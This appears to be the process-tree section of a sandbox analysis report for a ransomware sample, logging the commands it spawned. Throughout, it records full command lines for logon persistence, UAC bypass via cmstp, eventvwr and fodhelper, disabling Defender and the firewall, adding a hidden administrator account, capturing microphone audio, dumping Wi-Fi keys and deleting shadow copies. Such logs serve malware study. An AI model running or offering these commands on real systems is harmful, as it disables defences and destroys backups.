        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:12620
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        15⤵
        
        PID:14732
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:16260
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f97e4dbb-088e-4ec6-9416-c2dc96ff3f43.inf
        16⤵
        
        PID:16308
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:13784
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:10428
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:10580
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        17⤵
        
        PID:12952
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10144
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4269443e-1842-46d6-8a88-b1ab0999a1e7.inf
        18⤵
        
        PID:12504
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:11116
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:16372
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        19⤵
        
        PID:14548
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10316
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5cf0fa37-c403-4b1f-99a1-348db9c42c70.inf
        20⤵
        
        PID:2408
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:9328
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:15868
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:9940
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        21⤵
        
        PID:9452
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4704
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c0de4aef-eaa7-4b25-b571-dca399087b08.inf
        22⤵
        
        PID:14856
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:3016
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:6416
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:11176
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        23⤵
        
        PID:9324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13060
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:1036
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:2764
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:4108
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:4688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14596
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:13968
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:11672
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:10416
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:14012
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:6080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15180
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:12876
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:16120
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:16272
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:8208
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:15440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980999097021.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15584
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5096
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        18⤵
        Interacts with shadow copies
        
        PID:1212
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        18⤵
        
        PID:9100
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        18⤵
        
        PID:7704
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        19⤵
        
        PID:15632
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        18⤵
        Modifies Windows Firewall
        
        PID:1576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14832
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:13740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:13104
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:6100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:9328
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:10564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980761228686.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8512
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15148
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:13448
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:9020
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:15152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:13024
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:11340
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        16⤵
        Launches sc.exe
        
        PID:7796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12712
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:10756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:2408
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:13344
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:13572
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:13648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980503163036.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13876
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13200
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:6092
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:8940
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:4960
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:7476
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:7872
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:13052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8968
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:5456
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:11556
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:8312
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:11764
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:12200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980350227538.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11504
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:324
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:14352
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:11168
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:13880
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:4088
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:8768
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:16192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8596
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:7896
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9156
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:7584
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:10356
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:11888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980288384404.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1932
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15100
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:15756
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:3300
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:14192
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:14040
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:15852
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:7496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7320
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:7716
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:7476
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8272
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:8852
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:9572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980167910397.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13536
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13880
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:6416
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:14404
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:13452
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:5404
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:14976
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:14088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1196
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7472
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6792
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8668
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980077438597.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12212
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11304
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:12424
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:12908
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:9128
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:4364
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:13556
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:13900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:5908
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6248
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6656
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6956
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:2996
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:6388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278979994092065.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9736
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9988
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:9356
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:11108
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:10504
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:12504
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:11392
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:13440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:2444
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  PID:5964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4992
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4536
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:6644
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278979994075300.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9728
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:10472
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10956
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10528
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:14280
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:11452
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:11760

C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
1⤵
PID:3484
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1704
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1cef207f-09b3-4807-83e6-29a0b4198da2.inf
  2⤵
  PID:5568
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:5332
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:2060
- C:\Windows\System32\fodhelper.exe
